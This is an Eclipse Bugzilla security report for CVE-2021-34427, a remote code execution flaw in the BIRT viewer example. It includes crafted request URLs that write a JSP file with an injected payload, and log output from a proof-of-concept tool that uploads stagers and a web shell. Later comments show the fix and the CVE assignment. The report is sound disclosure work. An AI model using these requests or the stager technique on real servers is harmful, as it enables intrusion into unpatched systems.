[Bug 538142](#) (CVE-2021-34427) - Security bug - RCE in BIRT viewer example

Status: RESOLVED FIXED

Alias: CVE-2021-34427

Product: z_Archived
Component: BIRT (show other bugs)
Version: unspecified
Hardware: PC All

Importance: P3 critical with 1 vote (vote)
Target Milestone: 4.8.0
Assignee: Ramanuja Vinjamuri ✅ECA
QA Contact:

URL:
Whiteboard:
Keywords: security

Depends on:
Blocks:

Reported: 2018-08-22 03:02 EDT by Stu xxn ⊖ECA
Modified: 2021-06-25 14:21 EDT (History)
CC List: 6 users (show)

See Also:

Attachments

RCE Report (186.92 KB, application/octet-stream) · *no flags* · Details
2018-08-22 03:02 EDT, Stu xxn ⊖ECA

Add an attachment (proposed patch, testcase, etc.) · View All

┌─ Note ──┐
│ You need to log in before you can comment on or make changes to this bug. │
└──┘

Stu xxn ⊖ECA   2018-08-22 03:02:42 EDT   Description

Created attachment 275480 [details]
RCE Report

Hello,

I already wrote an email to security@ and they said i should open an issue. Blow is
the report copied from the email. I hope this is ok.
Find the pictures and the PoC attached.

Greetings

RCE bug in BIRT viewer example
===============================

* Versions tested:
    * 4.8.0 (Linux, Tomcat, JRE 1.8.0)
    * 2.5.1 (Windows, JBoss, JRE 1.7.0)
* Local setup:
    * Linux - JRE 1.8.0_171)
    * Apache Tomcat/8.5.32
    * BIRT viewer example 4.8.0

The root of the example directory shows us some information about the system [BIRT
root](birt-example-root.png). Following the link to the example pages gives us the
ability to generate a pdf document [BIRT generate PDF](birt-gen-pdf.png).
The URL to generate the document is:
```
http://localhost:8080/birt-viewer/output?
__report=test.rptdesign&sample=my+parameter&&__dpi=96&__format=pdf&__pageoverflow=0&__overwrite=false
```

With the help of the query parameter `sample` we are able to control what content
is written to the file.
To make this into a RCE we can add the documented parameter `__document` (see [BIRT
viewer usage](http://www.eclipse.org/birt/documentation/integrating/viewer-
usage.php)) to the above call to save the rptdocument to the current working
directory. The program does not enforce a file extension which allows us to create
a `.jsp` file:
```
http://localhost:8080/birt-viewer/output?
__report=test.rptdesign&sample=my+parameter&__format=pdf&__overwrite=true&__document=./info.jsp
```

Combining those 2 things we are able to create a JSP file which is accessable from
remote (current BIRT viewer dir) and inject JSP code into the generate rptdocument:

#Payload:
```
<%
  out.println("OS: " + System.getProperty("os.name"));
  out.println("Current dir: " + getServletContext().getRealPath("/"));
%>
```

#Request:
```
http://localhost:8080/birt-viewer/output?
__report=test.rptdesign&__format=pdf&__overwrite=true&__document=./info.jsp&sample=%3C%25%0A%20%20out.println(%22OS%3A%20%22%20%2B%20System.getProperty(%22os.name%22))%3B%0A%20%20out.println(%22Current%20dir%3A%20%22%20%2B%20getServletContext().getRealPath(%22%2F%22))%3B%0A%25%3E%0A
```

Firing the above request generates the report [BIRT Report](birt-report.png) and
also creates our `info.jsp` file including the payload.
To verify everything worked, we have to Visit `http://localhost:8080/birt-
viewer/info.jsp`.
This shows us the current OS + working directory: `OS: Linux Current dir:
/usr/local/tomcat/webapps/birt-viewer/` [Info output](birt-info-jsp.png)

In this form the exploit is limited to a few bytes of payload, because of the URL
length limitation.
I created a small PoC which is able to upload any file (no size limitation) to the
birt example directory [PoC exploit](poc.gzip)
```
#Usage example

➜  tomcat-birt python3 birt-exploit.py --help
usage: birt-exploit.py [-h] [--url URL] [--report REPORT] [--var VAR]
                       [--stager-upload STAGER_UPLOAD]
                       [--payload-name PAYLOAD_NAME] [--payload PAYLOAD]
                       [--max-upload-size MAX_UPLOAD_SIZE]

optional arguments:
  -h, --help            show this help message and exit
  --url URL             Birt-Viewer example path
  --report REPORT
  --var VAR
  --stager-upload STAGER_UPLOAD
                        The script which allows us to upload files
  --payload-name PAYLOAD_NAME
                        The name for the payload file on the server
  --payload PAYLOAD     The file to upload
  --max-upload-size MAX_UPLOAD_SIZE


➜  tomcat-birt python3 birt-exploit.py --stager-upload stager_upload_tomcat.jsp --
url http://localhost:8080/birt-viewer
INFO:birt:Uploading cmd stager as stager_cmd.jsp
INFO:birt:Uploaded file to: http://localhost:8080/birt-viewer/stager_cmd.jsp
INFO:birt:Uploading upload stager as stager_upload.jsp
INFO:birt:Uploaded file to: http://localhost:8080/birt-viewer/stager_upload.jsp
INFO:birt:Running command (url: http://localhost:8080/birt-viewer/stager_cmd.jsp) -
'uname'
INFO:birt:Is linux
INFO:birt:Running command (url: http://localhost:8080/birt-viewer/stager_cmd.jsp) -
'pwd'
INFO:birt:Stager working path: /usr/local/tomcat
INFO:birt:Running command (url: http://localhost:8080/birt-viewer/stager_cmd.jsp) -
'find . -name stager_cmd.jsp 2>/dev/null'
INFO:birt:Found our web path: '/usr/local/tomcat/webapps/birt-viewer'
INFO:birt:Payload path: /usr/local/tomcat/webapps/birt-viewer/shell.jsp
INFO:birt:Uploading file (url: http://localhost:8080/birt-viewer) - shell.jsp
INFO:birt:Uploaded part /usr/local/tomcat/webapps/birt-viewer/xxx_aa
INFO:birt:Running command (url: http://localhost:8080/birt-viewer/stager_cmd.jsp) -
'cat /usr/local/tomcat/webapps/birt-viewer/xxx_* > /usr/local/tomcat/webapps/birt-
viewer/shell.jsp'
INFO:birt:Running command (url: http://localhost:8080/birt-viewer/stager_cmd.jsp) -
'rm /usr/local/tomcat/webapps/birt-viewer/xxx_*'
...
```


liga liga ⊖ECA   2021-02-04 23:05:26 EST   Comment 1

Hey @Stu_xxn,

I was not able to reproduce the issue. The only difference is that don't have the
example report. I tried it with other reports and the RCE was not triggered.
Can you clarify if the bug is only in that cases? (example report).

Best Regards,

Stu xxn ⊖ECA   2021-02-05 02:30:07 EST   Comment 2

(In reply to liga liga from comment #1)
> Hey @Stu_xxn,
>
> I was not able to reproduce the issue. The only difference is that don't
> have the example report. I tried it with other reports and the RCE was not
> triggered.
> Can you clarify if the bug is only in that cases? (example report).
>
> Best Regards,

What exact setup do you use (BIRT Version, Tomcat Version etc). Can you show me
your report. And what do you mean by "RCE was not triggered" ? Was the file written
? Do you call the JSP file.

Ramanuja Vinjamuri ✅ECA   2021-02-05 03:00:04 EST   Comment 3

This issue has been addressed via commit :
https://github.com/eclipse/birt/commit/e63581a582cf4c327deaee546c1d4186d1bdb202

Brief on the fix:
In viewer/org.eclipse.birt.report.viewer/birt/WEB-INF/viewer.properties, one can
specify a white and black list of allowed extensions

#Restrictions on the __document parameter when used to specify the report document

to be generated. These restrictions
#are only applicable for actions like frameset, document, output which generate a
report document. Please note that irrespective
#of the setting here, when the __document param is expected and not specified, the
system uses rptdocument as the extension for the
#target report document. To maintain consistency, do not specify rptdocument in the
black list and if white list is defined, add rptdocument to the list.

#Comma separated white list of extensions for the report document produced by the
system.
reportdocument.allowed-extensions=
#Comma separated black list of extensions for the report document produced by the
system. The black list takes precedence over the white list.
reportdocument.disallowed-extensions=jsp

Wayne Beaton ✅ ECA   2021-06-25 14:21:22 EDT   Comment 4

I've assigned CVE-2021-34427.

I assume that we're done here.